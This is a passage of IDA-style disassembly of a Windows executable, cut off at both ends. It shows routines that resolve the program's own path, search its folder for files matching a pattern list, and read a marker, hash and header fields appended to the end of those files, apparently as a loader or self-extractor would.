esp, ebp pop ebp retn sub_502D50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_502DD0 proc near ; CODE XREF: sub_504DC0+Dp var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_170 = byte ptr -170h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005035F3 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E408 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFE18h push ebx push esi push edi mov [ebp+var_18], esp push offset dword_5118C8 call ds:dword_51174C ; InitializeCriticalSection mov [ebp+var_1C], 0 mov [ebp+var_20], 0 mov [ebp+var_24], 0FFFFFFFFh mov [ebp+var_4], 0 call sub_4FDE50 and eax, 0FFh mov ds:dword_510B68, eax push 400h call sub_50835A add esp, 4 mov [ebp+var_1AC], eax mov eax, [ebp+var_1AC] mov [ebp+var_1C], eax push 0C1Ch call sub_50835A add esp, 4 mov [ebp+var_1B0], eax mov ecx, [ebp+var_1B0] mov [ebp+var_20], ecx mov ecx, 307h xor eax, eax mov edi, [ebp+var_20] rep stosd push 400h mov edx, [ebp+var_20] add edx, 10h push edx push 0 call ds:dword_511718 ; GetModuleHandleA push eax call ds:dword_511714 ; GetModuleFileNameA mov eax, [ebp+var_20] add eax, 0C10h push eax mov ecx, [ebp+var_1C] push ecx push 400h mov edx, [ebp+var_20] add edx, 10h push edx call ds:dword_511708 ; GetFullPathNameA push offset aGetlongpathnam ; "GetLongPathNameA" push offset aKernel32_0 ; "kernel32" call ds:dword_511718 ; GetModuleHandleA push eax call ds:dword_511728 ; GetProcAddress mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_502EE2 push 400h mov eax, [ebp+var_20] add eax, 10h push eax mov ecx, [ebp+var_1C] push ecx call [ebp+var_2C] jmp short loc_502F08 ; --------------------------------------------------------------------------- loc_502EE2: ; CODE XREF: sub_502DD0+FBj mov edi, [ebp+var_1C] mov edx, [ebp+var_20] add edx, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_502F08: ; CODE XREF: sub_502DD0+110j mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_20] add ecx, 10h push ecx call ds:dword_5117C8 ; CharUpperBuffA push 5Ch mov edx, [ebp+var_20] add edx, 10h push edx call sub_4FC700 add esp, 8 add eax, 1 mov ecx, [ebp+var_20] mov [ecx+0C10h], eax mov edx, [ebp+var_20] add edx, 10h mov eax, [ebp+var_20] mov ecx, [eax+0C10h] sub ecx, edx mov edx, [ebp+var_20] mov [edx+0C14h], ecx push 400h mov eax, [ebp+var_20] add eax, 410h push eax mov ecx, [ebp+var_1C] push ecx call ds:dword_50E020 ; GetShortPathNameA mov edi, [ebp+var_20] add edi, 410h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov edx, [ebp+var_20] add edx, 410h push edx call ds:dword_5117C8 ; CharUpperBuffA push 5Ch mov eax, [ebp+var_20] add eax, 410h push eax call sub_4FC700 add esp, 8 add eax, 1 mov ecx, [ebp+var_20] add ecx, 410h sub eax, ecx mov edx, [ebp+var_20] mov [edx+0C18h], eax mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov [ebp+var_30], ecx mov eax, [ebp+var_30] add eax, 1 push eax call sub_50835A add esp, 4 mov [ebp+var_1B4], eax mov ecx, [ebp+var_1B4] mov ds:dword_51190C, ecx mov edx, [ebp+var_20] add edx, 10h mov edi, edx mov edx, ds:dword_51190C or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ds:dword_511684 mov edx, [ecx+24h] and edx, 2 neg edx sbb edx, edx neg edx mov byte ptr [ebp+var_28], dl mov eax, [ebp+var_28] and eax, 0FFh test eax, eax jz loc_503101 mov ecx, ds:dword_511684 mov edx, [ecx+2Ch] add edx, 30h mov [ebp+var_3C], edx mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov [ebp+var_38], ecx push 5Ch mov eax, [ebp+var_20] add eax, 10h push eax call sub_4FC700 add esp, 8 mov [ebp+var_34], eax cmp [ebp+var_34], 0 jnz short loc_5030A4 mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov edx, [ebp+var_20] lea eax, [edx+ecx+10h] mov [ebp+var_34], eax loc_5030A4: ; CODE XREF: sub_502DD0+2B6j mov ecx, [ebp+var_20] add ecx, 10h mov edx, [ebp+var_34] sub edx, ecx add edx, [ebp+var_38] cmp edx, 104h jb short loc_5030C4 mov ecx, 0EF000004h call sub_508342 loc_5030C4: ; CODE XREF: sub_502DD0+2E8j mov ecx, [ebp+var_38] add ecx, 1 mov esi, [ebp+var_3C] mov edi, [ebp+var_34] add edi, 1 mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_20] add ecx, 10h push ecx call ds:dword_5117C8 ; CharUpperBuffA loc_503101: ; CODE XREF: sub_502DD0+277j mov edx, [ebp+var_20] mov dword ptr [edx], 0 mov eax, [ebp+var_20] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_20] mov ds:dword_511908, ecx mov edx, ds:dword_511684 mov eax, [edx+24h] and eax, 1 test eax, eax jz short loc_503140 push 1 push 1 mov ecx, [ebp+var_20] add ecx, 10h push ecx call sub_503610 add esp, 0Ch loc_503140: ; CODE XREF: sub_502DD0+35Bj push 105h call sub_50835A add esp, 4 mov [ebp+var_1B8], eax mov edx, [ebp+var_1B8] mov [ebp+var_44], edx push 5Ch mov eax, [ebp+var_20] add eax, 10h push eax call sub_4FC700 add esp, 8 add eax, 1 mov [ebp+var_50], eax mov [ebp+var_48], 0 mov ecx, ds:dword_511684 mov edx, [ecx+2Ch] add edx, 71h mov [ebp+var_4C], edx mov edi, [ebp+var_4C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov eax, [ebp+var_4C] add eax, ecx mov [ebp+var_40], eax mov ecx, [ebp+var_4C] cmp ecx, [ebp+var_40] jz loc_5033DB mov [ebp+var_48], 1 mov edx, [ebp+var_4C] mov [ebp+var_1A0], edx jmp short loc_5031CD ; --------------------------------------------------------------------------- loc_5031BE: ; CODE XREF: sub_502DD0:loc_5031F8j mov eax, [ebp+var_1A0] add eax, 1 mov [ebp+var_1A0], eax loc_5031CD: ; CODE XREF: sub_502DD0+3ECj mov ecx, [ebp+var_1A0] cmp ecx, [ebp+var_40] jz short loc_5031FA mov edx, [ebp+var_1A0] movsx eax, byte ptr [edx] cmp eax, 3Bh jnz short loc_5031F8 mov ecx, [ebp+var_1A0] mov byte ptr [ecx], 0 mov edx, [ebp+var_48] add edx, 1 mov [ebp+var_48], edx loc_5031F8: ; CODE XREF: sub_502DD0+414j jmp short loc_5031BE ; --------------------------------------------------------------------------- loc_5031FA: ; CODE XREF: sub_502DD0+406j mov eax, [ebp+var_20] add eax, 810h mov edi, eax mov edx, [ebp+var_44] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea ecx, [ebp+var_54] push ecx mov edx, [ebp+var_44] push edx push 104h mov eax, [ebp+var_1C] push eax call ds:dword_511708 ; GetFullPathNameA mov edi, [ebp+var_44] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_44] push ecx call ds:dword_5117C8 ; CharUpperBuffA mov edx, [ebp+var_4C] mov [ebp+var_58], edx mov [ebp+var_5C], 0 jmp short loc_50326D ; --------------------------------------------------------------------------- loc_503264: ; CODE XREF: sub_502DD0+606j mov eax, [ebp+var_5C] add eax, 1 mov [ebp+var_5C], eax loc_50326D: ; CODE XREF: sub_502DD0+492j mov ecx, [ebp+var_5C] cmp ecx, [ebp+var_48] jnb loc_5033DB mov edi, [ebp+var_58] mov edx, [ebp+var_54] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea ecx, [ebp+var_19C] push ecx mov edx, [ebp+var_44] push edx call ds:dword_5116D0 ; FindFirstFileA mov [ebp+var_1A4], eax cmp [ebp+var_1A4], 0FFFFFFFFh jz loc_5033B8 loc_5032C0: ; CODE XREF: sub_502DD0+5D5j mov eax, [ebp+var_19C] and eax, 10h test eax, eax jnz loc_50338F mov ecx, [ebp+var_50] push ecx lea edx, [ebp+var_170] push edx call ds:dword_5117C0 ; lstrcmpi test eax, eax jz loc_50338F lea edi, [ebp+var_170] mov edx, [ebp+var_54] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, [ebp+var_54] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_54] push ecx call ds:dword_5117C8 ; CharUpperBuffA mov [ebp+var_1A8], 0 mov [ebp+var_4], 1 push 0 push 1 mov edx, [ebp+var_44] push edx call sub_503610 add esp, 0Ch mov [ebp+var_4], 0 jmp short loc_50338F ; --------------------------------------------------------------------------- loc_503354: ; DATA XREF: _6:0050E418o mov eax, [ebp+var_14] mov ecx, [eax] mov edx, [ecx] mov [ebp+var_1E8], edx mov eax, [ebp+var_1E8] mov [ebp+var_1A8], eax mov ecx, [ebp+var_1A8] and ecx, 0EF000000h xor eax, eax cmp ecx, 0EF000000h setz al retn ; --------------------------------------------------------------------------- loc_503385: ; DATA XREF: _6:0050E41Co mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_50338F: ; CODE XREF: sub_502DD0+4FBj ; sub_502DD0+514j ... lea edx, [ebp+var_19C] push edx mov eax, [ebp+var_1A4] push eax call ds:dword_5116D4 ; FindNextFileA test eax, eax jnz loc_5032C0 mov ecx, [ebp+var_1A4] push ecx call ds:dword_5116CC ; FindClose loc_5033B8: ; CODE XREF: sub_502DD0+4EAj ; sub_502DD0+5FBj mov edx, [ebp+var_58] movsx eax, byte ptr [edx] test eax, eax jz short loc_5033CD mov ecx, [ebp+var_58] add ecx, 1 mov [ebp+var_58], ecx jmp short loc_5033B8 ; --------------------------------------------------------------------------- loc_5033CD: ; CODE XREF: sub_502DD0+5F0j mov edx, [ebp+var_58] add edx, 1 mov [ebp+var_58], edx jmp loc_503264 ; --------------------------------------------------------------------------- loc_5033DB: ; CODE XREF: sub_502DD0+3D6j ; sub_502DD0+4A3j mov eax, [ebp+var_44] mov [ebp+var_1BC], eax mov ecx, [ebp+var_1BC] push ecx call sub_5083DD add esp, 4 call sub_504490 push 10040h call sub_50835A add esp, 4 mov [ebp+var_1C0], eax mov edx, [ebp+var_1C0] mov ds:dword_5118F8, edx push 10000h call sub_50835A add esp, 4 mov [ebp+var_1C4], eax mov eax, [ebp+var_1C4] mov ds:dword_5118FC, eax push 10000h call sub_50835A add esp, 4 mov [ebp+var_1C8], eax mov ecx, [ebp+var_1C8] mov ds:dword_511900, ecx push 10000h call sub_50835A add esp, 4 mov [ebp+var_1CC], eax mov edx, [ebp+var_1CC] mov ds:dword_511904, edx push 28h call sub_50835A add esp, 4 mov [ebp+var_1D0], eax cmp [ebp+var_1D0], 0 jz short loc_5034A4 push 83h mov ecx, [ebp+var_1D0] call sub_50B77C mov [ebp+var_1EC], eax jmp short loc_5034AE ; --------------------------------------------------------------------------- loc_5034A4: ; CODE XREF: sub_502DD0+6BAj mov [ebp+var_1EC], 0 loc_5034AE: ; CODE XREF: sub_502DD0+6D2j mov eax, [ebp+var_1EC] mov ds:dword_5118E4, eax push 28h call sub_50835A add esp, 4 mov [ebp+var_1D4], eax cmp [ebp+var_1D4], 0 jz short loc_5034EA push 83h mov ecx, [ebp+var_1D4] call sub_50B77C mov [ebp+var_1F0], eax jmp short loc_5034F4 ; --------------------------------------------------------------------------- loc_5034EA: ; CODE XREF: sub_502DD0+700j mov [ebp+var_1F0], 0 loc_5034F4: ; CODE XREF: sub_502DD0+718j mov ecx, [ebp+var_1F0] mov ds:dword_5118E8, ecx push 28h call sub_50835A add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 0 jz short loc_503531 push 83h mov ecx, [ebp+var_1D8] call sub_50B77C mov [ebp+var_1F4], eax jmp short loc_50353B ; --------------------------------------------------------------------------- loc_503531: ; CODE XREF: sub_502DD0+747j mov [ebp+var_1F4], 0 loc_50353B: ; CODE XREF: sub_502DD0+75Fj mov edx, [ebp+var_1F4] mov ds:dword_5118E0, edx push 28h call sub_50835A add esp, 4 mov [ebp+var_1DC], eax cmp [ebp+var_1DC], 0 jz short loc_503578 push 83h mov ecx, [ebp+var_1DC] call sub_50B77C mov [ebp+var_1F8], eax jmp short loc_503582 ; --------------------------------------------------------------------------- loc_503578: ; CODE XREF: sub_502DD0+78Ej mov [ebp+var_1F8], 0 loc_503582: ; CODE XREF: sub_502DD0+7A6j mov eax, [ebp+var_1F8] mov ds:dword_5118EC, eax mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh call sub_5035A2 jmp short loc_5035F3 sub_502DD0 endp ; =============== S U B R O U T I N E ======================================= sub_5035A2 proc near ; CODE XREF: sub_502DD0+7CBp ; DATA XREF: _6:0050E410o mov ecx, [ebp-1Ch] mov [ebp-1E0h], ecx mov edx, [ebp-1E0h] push edx call sub_5083DD add esp, 4 cmp dword ptr [ebp-20h], 0 jz short loc_5035E2 mov ds:dword_511908, 0 mov eax, [ebp-20h] mov [ebp-1E4h], eax mov ecx, [ebp-1E4h] push ecx call sub_5083DD add esp, 4 loc_5035E2: ; CODE XREF: sub_5035A2+1Cj cmp dword ptr [ebp-24h], 0FFFFFFFFh jz short locret_5035F2 mov edx, [ebp-24h] push edx call ds:dword_5116A4 ; CloseHandle locret_5035F2: ; CODE XREF: sub_5035A2+44j retn sub_5035A2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_502DD0 loc_5035F3: ; CODE XREF: sub_502DD0+7D0j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_502DD0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_503610 proc near ; CODE XREF: sub_502DD0+368p ; sub_502DD0+573p var_308 = dword ptr -308h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_238 = dword ptr -238h var_234 = dword ptr -234h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = byte ptr -130h var_C4 = byte ptr -0C4h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_A0 = byte ptr -0A0h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E420 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFCE0h push ebx push esi push edi mov [ebp+var_20], 0 mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov [ebp+var_1C], ecx mov [ebp+var_28], 0FFFFFFFFh mov [ebp+var_24], 0 mov [ebp+var_4], 0 push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+arg_0] push eax call ds:dword_5116A8 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_503690 mov ecx, 0EF000005h call sub_508342 loc_503690: ; CODE XREF: sub_503610+74j push 0 mov ecx, [ebp+var_28] push ecx call ds:dword_511700 ; GetFileSize mov [ebp+var_54], eax mov [ebp+var_78], 0 mov edx, [ebp+arg_8] and edx, 0FFh test edx, edx jz loc_50392F mov eax, ds:dword_511684 mov ecx, [eax+24h] and ecx, 2 test ecx, ecx jnz loc_50392F mov edx, ds:dword_511684 mov eax, [edx+4] mov [ebp+var_88], eax mov ecx, [ebp+var_88] mov edx, [ebp+var_88] add edx, [ecx+3Ch] mov ds:dword_511910, edx mov eax, ds:dword_511910 cmp dword ptr [eax], 4550h jz short loc_503705 mov ecx, 0EF000002h call sub_508342 loc_503705: ; CODE XREF: sub_503610+E9j mov ecx, ds:dword_511910 xor edx, edx mov dx, [ecx+14h] mov eax, ds:dword_511910 lea ecx, [eax+edx+18h] mov [ebp+var_84], ecx mov edx, ds:dword_511910 add edx, 98h mov [ebp+var_7C], edx mov [ebp+var_8C], 0 mov eax, ds:dword_511910 xor ecx, ecx mov cx, [eax+6] mov [ebp+var_80], ecx jmp short loc_503752 ; --------------------------------------------------------------------------- loc_503749: ; CODE XREF: sub_503610:loc_503782j mov edx, [ebp+var_80] sub edx, 1 mov [ebp+var_80], edx loc_503752: ; CODE XREF: sub_503610+137j cmp [ebp+var_80], 0 jl loc_503893 mov eax, [ebp+var_80] imul eax, 28h mov ecx, [ebp+var_84] cmp dword ptr [ecx+eax+10h], 0 jz short loc_503782 mov edx, [ebp+var_80] imul edx, 28h mov eax, [ebp+var_84] cmp dword ptr [eax+edx+14h], 0 jnz short loc_503784 loc_503782: ; CODE XREF: sub_503610+15Dj jmp short loc_503749 ; --------------------------------------------------------------------------- loc_503784: ; CODE XREF: sub_503610+170j mov ecx, [ebp+var_80] imul ecx, 28h mov edx, [ebp+var_80] imul edx, 28h mov eax, [ebp+var_84] mov edx, [eax+edx+10h] mov eax, ds:dword_511910 mov eax, [eax+3Ch] lea edx, [edx+eax-1] mov eax, ds:dword_511910 mov eax, [eax+3Ch] sub eax, 1 not eax and edx, eax mov eax, [ebp+var_84] mov ecx, [eax+ecx+14h] add ecx, edx mov [ebp+var_8C], ecx push 0 push 0 mov edx, [ebp+var_8C] push edx mov eax, [ebp+var_28] push eax call ds:dword_511788 ; SetFilePointer mov [ebp+var_B4], eax push 0 lea ecx, [ebp+var_90] push ecx push 20h lea edx, [ebp+var_B0] push edx mov eax, [ebp+var_28] push eax call ds:dword_51177C ; ReadFile test eax, eax jz loc_503893 cmp [ebp+var_90], 20h jnz loc_503893 lea ecx, [ebp+var_130] call sub_507798 push 10h lea ecx, [ebp+var_B0] push ecx lea ecx, [ebp+var_130] call sub_5077A4 lea edx, [ebp+var_C4] push edx lea ecx, [ebp+var_130] call sub_50785D mov ecx, 4 lea edi, [ebp+var_A0] lea esi, [ebp+var_C4] xor eax, eax repe cmpsd jnz short loc_503893 mov ecx, [ebp+var_8C] add ecx, [ebp+var_B0] mov [ebp+var_78], ecx push 2 push 0 push 0 mov edx, [ebp+var_28] push edx call ds:dword_511788 ; SetFilePointer mov [ebp+var_134], eax mov eax, [ebp+var_134] sub eax, [ebp+var_78] neg eax mov [ebp+var_78], eax jmp loc_50392F ; --------------------------------------------------------------------------- loc_503893: ; CODE XREF: sub_503610+146j ; sub_503610+1F0j ... mov ecx, [ebp+var_7C] cmp dword ptr [ecx], 0 jz loc_50392F mov edx, [ebp+var_7C] cmp dword ptr [edx+4], 0 jz loc_50392F mov eax, [ebp+var_7C] mov ecx, [ebp+var_54] sub ecx, [eax] neg ecx mov [ebp+var_78], ecx mov edx, [ebp+var_7C] mov eax, [edx] mov [ebp+var_54], eax mov [ebp+var_138], 0 loc_5038CB: ; CODE XREF: sub_503610+31Dj push 2 push 0 mov ecx, [ebp+var_78] sub ecx, 1 push ecx mov edx, [ebp+var_28] push edx call ds:dword_511788 ; SetFilePointer mov [ebp+var_140], eax push 0 lea eax, [ebp+var_13C] push eax push 1 lea ecx, [ebp+var_138] push ecx mov edx, [ebp+var_28] push edx call ds:dword_51177C ; ReadFile test eax, eax jnz short loc_503910 mov ecx, 0EF000006h call sub_508342 loc_503910: ; CODE XREF: sub_503610+2F4j cmp [ebp+var_138], 0 jz short loc_50391B jmp short loc_50392F ; --------------------------------------------------------------------------- loc_50391B: ; CODE XREF: sub_503610+307j mov eax, [ebp+var_78] sub eax, 1 mov [ebp+var_78], eax mov ecx, [ebp+var_54] sub ecx, 1 mov [ebp+var_54], ecx jmp short loc_5038CB ; --------------------------------------------------------------------------- loc_50392F: ; CODE XREF: sub_503610+A1j ; sub_503610+B4j ... push 2 push 0 mov edx, [ebp+var_78] sub edx, 4 push edx mov eax, [ebp+var_28] push eax call ds:dword_511788 ; SetFilePointer mov [ebp+var_74], eax mov ecx, [ebp+var_54] add ecx, [ebp+var_78] mov [ebp+var_54], ecx mov [ebp+var_144], 0 push 0 lea edx, [ebp+var_144] push edx push 4 lea eax, [ebp+var_148] push eax mov ecx, [ebp+var_28] push ecx call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503983 cmp [ebp+var_144], 4 jz short loc_50398D loc_503983: ; CODE XREF: sub_503610+368j mov ecx, 0EF000006h call sub_508342 loc_50398D: ; CODE XREF: sub_503610+371j cmp [ebp+var_148], 0CAFEBABEh jz short loc_5039B0 mov edx, [ebp+var_148] xor edx, 0CAFEBABEh xor edx, [ebp+var_54] mov [ebp+var_308], edx jmp short loc_5039BB ; --------------------------------------------------------------------------- loc_5039B0: ; CODE XREF: sub_503610+387j mov eax, ds:dword_510BD8 mov [ebp+var_308], eax loc_5039BB: ; CODE XREF: sub_503610+39Ej mov ecx, [ebp+var_308] mov [ebp+var_14C], ecx mov edx, [ebp+arg_4] and edx, 0FFh test edx, edx jz short loc_5039EF mov eax, offset dword_510BD8 lea ecx, [ebp+var_14C] mov edx, [ecx] cmp edx, [eax] jz short loc_5039EF mov ecx, 0EF000007h call sub_508342 loc_5039EF: ; CODE XREF: sub_503610+3C2j ; sub_503610+3D3j push 2 push 0 mov eax, [ebp+var_78] sub eax, 14h push eax mov ecx, [ebp+var_28] push ecx call ds:dword_511788 ; SetFilePointer mov [ebp+var_150], 0 push 0 lea edx, [ebp+var_150] push edx push 10h lea eax, [ebp+var_4C] push eax mov ecx, [ebp+var_28] push ecx call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503A34 cmp [ebp+var_150], 10h jz short loc_503A3E loc_503A34: ; CODE XREF: sub_503610+419j mov ecx, 0EF000006h call sub_508342 loc_503A3E: ; CODE XREF: sub_503610+422j mov edx, [ebp+arg_8] and edx, 0FFh neg edx sbb edx, edx and edx, 0Ch mov [ebp+var_68], edx push 2 push 0 mov eax, [ebp+var_68] add eax, 2Ch mov ecx, [ebp+var_78] sub ecx, eax push ecx mov edx, [ebp+var_28] push edx call ds:dword_511788 ; SetFilePointer mov [ebp+var_154], 0 mov eax, [ebp+arg_8] and eax, 0FFh test eax, eax jz loc_503B15 push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_34] push edx mov eax, [ebp+var_28] push eax call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503AAB cmp [ebp+var_154], 4 jz short loc_503AB5 loc_503AAB: ; CODE XREF: sub_503610+490j mov ecx, 0EF000006h call sub_508342 loc_503AB5: ; CODE XREF: sub_503610+499j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_50] push edx mov eax, [ebp+var_28] push eax call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503ADB cmp [ebp+var_154], 4 jz short loc_503AE5 loc_503ADB: ; CODE XREF: sub_503610+4C0j mov ecx, 0EF000006h call sub_508342 loc_503AE5: ; CODE XREF: sub_503610+4C9j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_38] push edx mov eax, [ebp+var_28] push eax call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503B0B cmp [ebp+var_154], 4 jz short loc_503B15 loc_503B0B: ; CODE XREF: sub_503610+4F0j mov ecx, 0EF000006h call sub_508342 loc_503B15: ; CODE XREF: sub_503610+46Fj ; sub_503610+4F9j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_60] push edx mov eax, [ebp+var_28] push eax call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503B3B cmp [ebp+var_154], 4 jz short loc_503B45 loc_503B3B: ; CODE XREF: sub_503610+520j mov ecx, 0EF000006h call sub_508342 loc_503B45: ; CODE XREF: sub_503610+529j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_70] push edx mov eax, [ebp+var_28] push eax call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503B6B cmp [ebp+var_154], 4 jz short loc_503B75 loc_503B6B: ; CODE XREF: sub_503610+550j mov ecx, 0EF000006h call sub_508342 loc_503B75: ; CODE XREF: sub_503610+559j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_3C] push edx mov eax, [ebp+var_28] push eax call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503B9B cmp [ebp+var_154], 4 jz short loc_503BA5 loc_503B9B: ; CODE XREF: sub_503610+580j mov ecx, 0EF000006h call sub_508342 loc_503BA5: ; CODE XREF: sub_503610+589j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_64] push edx mov eax, [ebp+var_28] push eax call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503BCB cmp [ebp+var_154], 4 jz short loc_503BD5 loc_503BCB: ; CODE XREF: sub_503610+5B0j mov ecx, 0EF000006h call sub_508342 loc_503BD5: ; CODE XREF: sub_503610+5B9j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_6C] push edx mov eax, [ebp+var_28] push eax call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503BFB cmp [ebp+var_154], 4 jz short loc_503C05 loc_503BFB: ; CODE XREF: sub_503610+5E0j mov ecx, 0EF000006h call sub_508342 loc_503C05: ; CODE XREF: sub_503610+5E9j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_58] push edx mov eax, [ebp+var_28] push eax call ds:dword_51177C ; ReadFile test eax, eax jz short loc_503C2B cmp [ebp+var_154], 4 jz short loc_503C35 loc_503C2B: ; CODE XREF: sub_503610+610j mov ecx, 0EF000006h call sub_508342 loc_503C35: ; CODE XREF: sub_503610+619j mov ecx, [ebp+arg_8] and ecx, 0FFh test ecx, ecx jz loc_503E52 cmp [ebp+var_50], 0 jz loc_503E52 cmp [ebp+var_34], 0 jz loc_503E52 push 24h call sub_50835A add esp, 4 mov [ebp+var_2D8], eax mov edx, [ebp+var_2D8] mov [ebp+var_158], edx mov eax, [ebp+var_1C] add eax, 1 push eax call sub_50835A add esp, 4 mov [ebp+var_2DC], eax mov ecx, [ebp+var_158] mov edx, [ebp+var_2DC] mov [ecx+0Ch], edx mov ecx, [ebp+var_1C] add ecx, 1 mov esi, [ebp+arg_0] mov 